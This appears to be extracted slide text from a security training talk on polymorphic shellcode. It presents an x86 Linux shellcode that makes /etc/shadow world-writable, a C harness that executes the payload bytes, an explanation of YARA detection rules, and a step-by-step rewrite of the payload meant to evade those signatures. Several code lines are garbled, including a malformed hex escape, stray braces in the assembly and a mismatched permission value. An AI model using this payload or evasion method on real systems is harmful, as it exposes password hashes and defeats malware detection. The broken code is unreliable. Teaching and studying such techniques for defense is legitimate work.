

# POLYMORPHIC SHELLCODES

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## Whoami

class PedroC:

```
def __init__(self):
    self.name = 'Pedro Candel'
    self.email = 'pcandel@cybersoc.deloitte.es'
    self.nickname = '@NN2ed_s4ur0n'
    self.role = 'Deloitte CyberSOC Academy'
    self.interest = [ 'Reversing', 'Malware', 'Offensive Security', ... ]
    self.member_of = [ 'NavajaNegra', 'mlw.re', 'OWASP', ... ]
```



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## Shellcode

- Small piece of code used as the **payload** in the exploitation of a software **vulnerability**.
- It is called "shellcode" because it typically starts a **command shell**, but any piece of code that performs a similar task can be called **shellcode**.

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```
xor    eax, eax  
push   eax  
mov    al, 0xf  
push   0x776f6461  
push   0x68732f63  
push   0x74652f2f  
mov    ebx, esp  
xor    ecx, ecx  
mov    cx, 0x1ff  
int    0x80  
inc    eax  
int    0x80
```

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## Shellcode

Name	Registers	Definition
sys_restart_syscall	eax	kernel/signal.c:2058
sys_exit	ebx	kernel/exit.c:1046
sys_fork	ecx	arch/alpha/kernel/entry.S:716
sys_read	edx	fs/read_write.c:391
sys_write	esi	fs/read_write.c:408
sys_open	edi	fs/open.c:900
sys_close		fs/open.c:969
sys_waitpid		kernel/exit.c:1771
sys_creat		fs/open.c:933
sys_link		fs/namei.c:2520
sys_unlink		fs/namei.c:2352
sys_execve		arch/alpha/kernel/entry.S:925
sys_chdir		fs/open.c:361
sys_time		kernel posix-timers.c:855
sys_mknod		fs/namei.c:2067
sys_chmod		fs/open.c:507

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```
#include "stdio.h"

int main(int argc, char *argv[])
{
    char shellcode[]
    ="\"x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\
\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\
\xb9\xff\x01\xcd\x80\x40\xcd\x80\";

    printf("Length: %d\n", strlen(shellcode));
    (*(void(*)()) shellcode)();

    return 0;
}
```

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## Yara

- <https://github.com/plusvic/yara>
- YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples.
- With YARA you can create descriptions of malware families.

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## Yara

- Yara is based on textual or binary patterns. Each description, a.k.a **rule**, consists of a set of strings and a boolean expression which determine its logic.

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```
Y rule silent_banker : banker
{
    meta:
        description = "This is just an example"
        thread_level = 3
        in_the_wild = true

    strings:
        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"

    condition:
        $a or $b or $c
}
```

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## Yararules

- <http://yararules.com/>
- One of the main objectives of the Yara Rules project is offer a Yara ruleset as complete as possible to provide a quick way to get and update existing firms.

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## Yararules

- Five categories: AntiDebug, Crypto, Malicious Document, Packer and Malware

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WTF?

- First step: Read the fuck code!

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## Polymorphic version

### x86 Instruction Set Reference

- **CWD/CDQ**

#### Convert Word to Doubleword/Convert Doubleword to Quadword

Opcode	Mnemonic	Description
99	CWD	DX:AX = sign-extend of AX
99	CDQ	EDX:EAX = sign-extend of EAX

#### Description

Doubles the size of the operand in register AX or EAX (depending on the operand size) by means of sign extension and stores the result in registers DX:AX or EDX:EAX, respectively.

The CWD instruction copies the sign (bit 15) of the value in the AX register into every bit position in the DX register (see Figure 7-6 in the IA-32 Intel Architecture Software Developer's Manual, Volume 1). The CDQ instruction copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register.

The CWD instruction can be used to produce a doubleword dividend from a word before a word division, and the CDQ instruction can be used to produce a quadword dividend from a doubleword before doubleword division.

The CWD and CDQ mnemonics reference the same opcode. The CWD instruction is intended for use when the operand-size attribute is 16 and the CDQ instruction for when the operand-size attribute is 32. Some assemblers may force the operand size to 16 when CWD is used and to 32 when CDQ is used. Others may treat these mnemonics as synonyms (CWD/CDQ) and use the current setting of the operand-size attribute to determine the size of values to be converted, regardless of the mnemonic used.

#### Operation

```
if(OperandSize == 16) DX = SignExtend(AX); //CWD instruction
else EDX = SignExtend(EAX); //OperandSize = 32, CDQ instruction
```

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## Polymorphic version

- Instead of using the exact syscall number, move inside the register (syscall-2 ) and then increment it

```
mov al, 0xf
```

```
mov al, 0xd  
inc al  
inc al
```

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	dx	Char	Dec	Hx	HTML	Char	Dec	Hx	HTML	Char	Dec	Hx	HTML	Char
0		NUL (null)	32	20	&#32;	Space	64	40	&#64;	@	96	60	&#96;	`
1	1	SOH (Start of heading)	33	21	&#33;	!	65	41	&#65;	A	97	61	&#97;	a
2	2	STX (Start of text)	34	22	&#34;	"	66	42	&#66;	B	98	62	&#98;	b
3	3	ETX (End of text)	35	23	&#35;	#	67	43	&#67;	C	99	63	&#99;	c
4	4	EOT (End of transmission)	36	24	&#36;	\$	68	44	&#68;	D	100	64	&#100;	d
5	5	ENQ (Enquiry)	37	25	&#37;	%	69	45	&#69;	E	101	65	&#101;	e
6	6	ACK (Acknowledge)	38	26	&#38;	&	70	46	&#70;	F	102	66	&#102;	f
7	7	BEL (Bell)	39	27	&#39;	'	71	47	&#71;	G	103	67	&#103;	g
8	8	BS (Backspace)	40	28	&#40;	{	72	48	&#72;	H	104	68	&#104;	h
9	9	TAB (Horizontal tab)	41	29	&#41;	)	73	49	&#73;	I	105	69	&#105;	i
10	A	LF (NL line fd, new line)	42	2A	&#42;	*	74	4A	&#74;	J	106	6A	&#106;	j
11	B	VT (Vertical tab)	43	2B	&#43;	+	75	4B	&#75;	K	107	6B	&#107;	k
12	C	FF (NP form fd, new page)	44	2C	&#44;	,	76	4C	&#76;	L	108	6C	&#108;	l
13	D	CR (Carriage return)	45	2D	&#45;	-	77	4D	&#77;	M	109	6D	&#109;	m
14	E	SO (Shift out)	46	2E	&#46;	.	78	4E	&#78;	N	110	6E	&#110;	n
15	F	SI (Shift in)	47	2F	&#47;	/	79	4F	&#79;	O	111	6F	&#111;	o
16	10	DLE (Data link escape)	48	30	&#48;	0	80	50	&#80;	P	112	70	&#112;	p
17	11	DC1 (Device control 1)	49	31	&#49;	1	81	51	&#81;	Q	113	71	&#113;	q
18	12	DC2 (Device control 2)	50	32	&#50;	2	82	52	&#82;	R	114	72	&#114;	r
19	13	DC3 (Device control 3)	51	33	&#51;	3	83	53	&#83;	S	115	73	&#115;	s
20	14	DC4 (Device control 4)	52	34	&#52;	4	84	54	&#84;	T	116	74	&#116;	t
21	15	NAK (Negative acknowledge)	53	35	&#53;	5	85	55	&#85;	U	117	75	&#117;	u
22	16	SYN (Synchronous idle)	54	36	&#54;	6	86	56	&#86;	V	118	76	&#118;	v
23	17	ETB (End of trans. block)	55	37	&#55;	7	87	57	&#87;	W	119	77	&#119;	w
24	18	CAN (Cancel)	56	38	&#56;	8	88	58	&#88;	X	120	78	&#120;	x
25	19	EM (End of medium)	57	39	&#57;	9	89	59	&#89;	Y	121	79	&#121;	y
26	1A	SUB (Substitute)	58	3A	&#58;	:	90	5A	&#90;	Z	122	7A	&#122;	z
27	1B	ESC (Escape)	59	3B	&#59;	:	91	5B	&#91;	[	123	7B	&#123;	{
28	1C	FS (File separator)	60	3C	&#60;	<	92	5C	&#92;	\	124	7C	&#124;	
29	1D	GS (Group separator)	61	3D	&#61;	=	93	5D	&#93;	]	125	7D	&#125;	}
30	1E	RS (Record separator)	62	3E	&#62;	>	94	5E	&#94;	^	126	7E	&#126;	~
31	1F	US (Unit separator)	63	3F	&#63;	?	95	5F	&#95;	-	127	7F	&#127;	DEI

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## Polymorphic version

- 776F6461
- ED
- Ad
- Save the operation

```
mov edx,0x11223344  
add edx,0x664D311D  
push edx
```

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## Polymorphic version

- hs/c (/etc/shadow)
- 6 mov edx,0x2f636873
- N rol edx,16 x664D311 } (this
- V push edx x
- Rotate left 16 bits this value
- Save this value onto the stack

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## Polymorphic version

- te// (//etc/shadow)
- 74652F2F
- `mov dword [esp-4],0x74652f2f`  
`sub esp,4`
- Tip: Push instruction adjust the stack pointer automatically. We need manual adjust the stack

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## Polymorphic version

- Review the code

```
mov ebx,esp  
xor ecx,ecx  
mov cx,0x1ff  
int 0x80  
inc eax  
int 0x80
```

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```
global _start
section .text
_start:
    cdq
    {mov al, 0xd
     inc al
     inc al
     push edx
     mov edx,0x11223344
     add edx,0x664D311D
     push edx
     mov edx,0x2f636873
     rol edx,16
     push edx
     mov dword [esp-4],0x74652f2f
     sub esp,4
     mov ebx,esp
     mov cx,0xff
     int 0x80
     inc eax
     int 0x80}
```

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